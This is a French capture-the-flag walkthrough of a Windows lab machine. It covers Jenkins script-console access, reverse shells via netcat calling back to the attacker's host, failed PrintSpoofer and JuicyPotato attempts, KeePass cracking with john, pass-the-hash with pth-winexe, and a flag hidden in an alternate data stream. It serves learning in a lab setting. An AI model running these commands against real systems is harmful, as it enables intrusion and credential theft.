La partie énumération et foothold initiale était plutôt facile et je suis content de dire que je n’ai pas du tout galéré. Pour l’escalade de privilèges, j’ai lutté un moment avec le privilège SeImpersonate dont j’étais sûr que c’était la voie à suivre : il était attribué, activé, je veux dire, que demander de plus ? Cependant j’ai essayé à la fois PrintSpoofer et JuicyPotato et aucun n’a fonctionné, et je ne me suis même pas donné la peine de chercher ailleurs avant de regarder l’indice parce que j’étais tellement convaincu que ça devait être le chemin. Mais en fait non, il y avait une base de données KeePass assez évidente stockée dans le répertoire de l’utilisateur qu’il fallait déchiffrer, c’était assez simple. Ce qui ne l’était pas, c’était d’obtenir un accès en tant qu’Administrateur. Ni evil-winrm ni aucun des outils impacket n’ont fonctionné et j’étais sûr de rater quelque chose. Et effectivement oui, il me manquait l’intuition complètement aléatoire et impossible qu’il existait un autre outil appelé winexe dont je n’avais jamais entendu parler et qui, pour une raison quelconque, fonctionnait. Après ça, les surprises n’étaient même pas terminées parce que le flag était caché avec un type spécial de fichier Windows appelé Alternate Data Streams (ADS). Ce n’est vraiment pas évident de les lire et, encore une fois, j’ai eu besoin de la vidéo d’IppSec pour comprendre.

Énumération Link to heading

On voit 4 ports ouverts avec 3 services principaux qui tournent :

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

En naviguant sur les sites web, on voit d’abord une page où on peut entrer quelque chose, mais le code source montre que quelle que soit votre saisie, elle redirigera toujours vers une page error.html :

La page d’erreur n’est pas très intéressante, elle montre juste qu’il y a peut-être un serveur Microsoft SQL qui tourne :

En fuzzant le port 50000, on trouve une page :

ffuf -w /home/dvr/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.10.63:50000/FUZZ" -ic
<SNIP>
askjeeves           [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 81ms]

En naviguant dessus, on découvre une instance Jenkins.

La version est 2.87, cependant je ne trouve aucune vulnérabilité spécifique à cette version.

Foothold Link to heading

Je vois que quand on clique sur “Manage Jenkins”, on a ensuite un menu depuis lequel on peut choisir “Script console” :

Je sais que le langage utilisé par Jenkins est Groovy. Sur le site revshells, on peut générer des reverse shells facilement :

Configurez les différentes options entourées en rouge pour que ça fonctionne correctement. Ensuite, démarrez le listener netcat et copiez-collez la longue chaîne qu’il vous donne et vous devriez récupérer un shell :

nc -lvnp 1234               
Listening on 0.0.0.0 1234
Connection received on 10.10.10.63 49676
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>whoami 
whoami 
jeeves\kohsuke

C:\Users\Administrator\.jenkins>

On a un shell !

Voyons si on a un flag :

C:\Users>cd C:Users/kohsuke/Desktop
cd C:Users/kohsuke/Desktop

C:\Users\kohsuke\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\kohsuke\Desktop

11/03/2017  10:19 PM    <DIR>          .
11/03/2017  10:19 PM    <DIR>          ..
11/03/2017  10:22 PM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)   2,630,287,360 bytes free

C:\Users\kohsuke\Desktop>type user.txt

On a un flag !

Escalade de privilèges Link to heading

Fausse piste Link to heading

Fait intéressant, on voit qu’on a des privilèges assez puissants :

C:\Users\kohsuke\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Surtout SeImpersonatePrivilege qu’on peut exploiter de la manière suivante :

C:\Users\kohsuke\Desktop>.\PrintSpoofer64.exe -c "nc64.exe 10.10.14.14 1234 -e cmd"
.\PrintSpoofer64.exe -c "nc64.exe 10.10.14.14 1234 -e cmd"

Pour faire ça, j’ai uploadé PrintSpoofer64.exe et nc64.exe via un transfert de fichier SMB, j’aurais aussi pu le faire en uploadant un shell metasploit qui sont assez réactifs et offrent des fonctionnalités de transfert de fichiers.

Cependant, les commandes ci-dessus ne fonctionnent pas, PrintSpoofer64.exe ne semble pas s’exécuter correctement :

C:\Users\kohsuke\Desktop>.\PrintSpoofer64.exe -h 
.\PrintSpoofer64.exe -h 

C:\Users\kohsuke\Desktop>somenonexistentfunction.exe -h
somenonexistentfunction.exe -h
'somenonexistentfunction.exe' is not recognized as an internal or external command,
operable program or batch file.

Donc c’est bizarre. Peut-être que cette version de Windows n’est pas compatible avec PrintSpoofer. Essayons JuicyPotato à la place.

.\JuicyPotato.exe -l 1234 -p cmd -a "/c C:\Users\kohsuke\Desktop\nc64.exe 10.10.14.14 1234 -e cmd" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1234
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[-] CreateProcessWithTokenW Failed to create proc: 2

[-] CreateProcessAsUser Failed to create proc: 2

Toujours pas de chance…

Bonne piste Link to heading

C’est là que j’en ai eu marre et que j’ai cherché un indice et j’ai bien fait parce que je ne cherchais vraiment pas dans la bonne direction apparemment. L’indice parle d’une base de données keepass qu’on peut trouver à C:\Users\kohsuke\Documents\CEH.kdbx.

Convertissons la base de données en quelque chose de lisible :

keepass2john CEH.kdbx > CEH.kdbx.hash

Cracklons-la avec john :

john --wordlist=$(locate rockyou.txt) CEH.kdbx.hash 

Et on obtient le mot de passe : moonshine1.

Dans cette base de données, on trouve plusieurs hashs, dont un hash NTLM qui a l’air appétissant !

Donc je vous épargne les épreuves, mais en fait la suite impacket ne fonctionnera pas ici pour une raison quelconque, probablement à cause de SMBv1. Mais ensuite il faut utiliser cet outil random que je n’ai jamais vu, ni utilisé, ni dont j’ai entendu parler dans toute ma vie de pentester : winexe. Je le sais non pas parce que j’ai eu une brillante intuition en faisant la box mais parce que j’ai regardé plein de walkthroughs de cette box et ils l’utilisaient tous. J’ai fait de mon mieux, smbexec, psexec, evil-winrm etc. Ça n’a pas fonctionné.

Donc pour installer winexe c’est tellement galère que la meilleure solution que j’ai trouvée est de créer un conteneur docker kali linux et de l’installer dedans.

docker run -it --name kali-pentest kalilinux/kali-rolling bash
$ apt update && apt upgrade -y && apt autoremove -y
$ apt install winexe passing-the-hash
$ exit
docker start kali-pentest
docker exec -it kali-pentest bash

Bon maintenant je peux lancer winexe :

$ pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.63 cmd.exe

On obtient un shell :

dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  09:05 AM    <DIR>          .
11/08/2017  09:05 AM    <DIR>          ..
12/24/2017  02:51 AM                36 hm.txt
11/08/2017  09:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   2,615,238,656 bytes free

C:\Windows\system32>type C:\Users\Administrator\Desktop\hm.txt
type C:\Users\Administrator\Desktop\hm.txt
The flag is elsewhere.  Look deeper.

Génial. Vraiment génial. Eh ben on a encore du pain sur la planche.

J’ai uploadé Snaffler et winPEAS pour chercher des mots de passe. Je vais faire court encore une fois, ce n’est pas du tout le bon chemin.

L’astuce était de lancer la commande :

C:\Users\Administrator\Desktop>dir /r 
dir /r 
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2025  07:05 PM    <DIR>          .
11/08/2025  07:05 PM    <DIR>          ..
12/24/2017  02:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
04/30/2020  09:56 AM           342,392 streams.exe
11/08/2017  09:05 AM               797 Windows 10 Update Assistant.lnk
               3 File(s)        343,225 bytes
               2 Dir(s)   2,689,642,496 bytes free

Et on trouve cette ligne bizarre : hm.txt:root.txt:$DATA. Ça signifie qu’il y a un fichier root.txt dans un flux de données différent. Windows a l’outil streams.exe pour les lister ou les supprimer (mais apparemment pas pour les lire). C’est inaccessible bien sûr, on ne peut pas juste le taper, donc il faut lancer cette commande bizarre que j’ai lue sur la vidéo d’IppSec :

powershell -c "(Get-Content hm.txt -Stream root.txt)"

Et là on peut voir le flag root. Je n’avais aucune idée de ce genre de flags, c’est comme des liens dynamiques mais pas vraiment.

Je ne suis pas fier de celui-là, je ne l’aurais jamais compris, j’espère que la difficulté venait principalement de paramètres volontairement conçus pour ça et pas d’une incompréhension fondamentale de ma part.